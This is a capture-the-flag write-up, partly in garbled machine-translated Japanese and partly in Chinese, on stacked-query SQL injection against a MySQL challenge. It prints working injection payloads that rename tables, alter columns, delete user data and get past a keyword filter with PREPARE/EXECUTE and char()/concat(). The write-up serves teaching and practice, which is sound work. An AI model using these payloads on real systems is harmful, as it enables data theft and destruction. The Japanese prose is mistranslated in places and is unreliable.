0x01の積み重ね射出研究(スタッククエリ、積み上げクエリ)
スタック注入は、攻撃者のコントロールの多くを提供し、SELECTステートメントUNION共同問い合わせさまざまな攻撃に制限され、スタックは、任意のSQL文の注入を実行するために使用することができます。
スタック注入原理
SQLでは、セミコロンは文の終わりを示します。私たちは、セミコロンの後に文を追加する場合は、このステートメントを使用すると、データベースへの呼び出しで複数のステートメントを実行することができるように、セミコロンやステートメントを追加していき、実行することができます。
例えば攻撃は、注射を積み重ね
クエリ、クエリ実行情報最初の文を実行すると、2番目のステートメントは、削除するユーザーのすべての内容を一覧表示します。
MySQLの> を選択 * からユーザーがどこのid = 1 ;削除からユーザー。
積み上げ注入された制限
スタック注入は、それぞれの場合に利用できない場合があります。彼らはAPIやデータベースエンジンをサポートしていないので、ほとんどの時間は、スタックの注入を達成することができません。
0x02の方法:名前の変更、スタックの注射+
1.発見は、テーブルを使用するか、またはすべてのデータをチェックアウトするが、我々は旗必要はないことができます
ライブラリの名前で2.外観は、多くの機能がフィルタリングされていることがわかりました。フィルタリングされ選択しているので、ユニオンクエリは無関係になります。
3.てみスタックの注射、彼女はチェックアウトするライブラリの名前を与えたすべてを置くことができます
名前のルックアップテーブルを継続する4. OK
構造は、フラグテーブル `に見出すことができる。表5を参照1919810931114514`
0' ; DESC `1919810931114514`;#
注意:Windowsシステム、抗単一引用符(「)符号を使用して、データベース、テーブル、インデックス、カラムエイリアスであります
例えば。MySQLの> `id` = '123'` table` SELECT * FROM。
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关
6. 再查看words表的结构,发现一共有id和data两列。
0';desc words;#
那么可以猜测我们提交查询的窗口就是在这个表里查询数据的
7. 那么查询语句很有可能是 : selsect id,data from words where id =
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
payload:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
8. 再用一下一开始的操作id=1' or 1=1#
0x03 方法二:预处理语句+堆叠注入
预处理语句使用方式:
PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名 SET @sql = concat('select * from ', @tn); //存储SQL语句 PREPARE name from @sql; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->'select'
payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
直接输入这三个payload的任何一个都能获得flag
参考文章:
https://www.sqlinjection.net/stacked-queries/
https://www.jianshu.com/p/36f0772f5ce8